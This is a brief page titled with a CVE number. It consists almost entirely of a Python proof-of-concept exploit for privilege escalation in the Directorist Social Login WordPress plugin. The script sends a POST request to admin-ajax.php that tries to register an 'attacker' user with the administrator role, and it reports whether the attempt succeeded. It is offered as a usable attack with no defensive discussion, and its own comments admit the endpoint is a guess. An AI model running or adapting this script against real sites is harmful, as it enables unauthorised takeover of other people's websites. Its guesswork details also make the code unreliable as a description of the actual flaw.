CVE-2026-22337

import requests def exploit_privilege_escalation(target_url): """ Conceptual PoC for Privilege Escalation in Directorist Social Login. """ # The vulnerable endpoint might be an AJAX action or a specific registration callback endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Payload attempting to assign administrative role during registration/update payload = { "action": "directorist_social_auth_callback", "role": "administrator", # Attempting to override role "user_login": "attacker" } try: response = requests.post(endpoint, data=payload, timeout=10) if response.status_code == 200 and "administrator" in response.text: print("[+] Potential Privilege Escalation successful.") else: print("[-] Exploit failed or target patched.") except Exception as e: print(f"[!] Error: {e}") # Usage # exploit_privilege_escalation("http://target-site.com")

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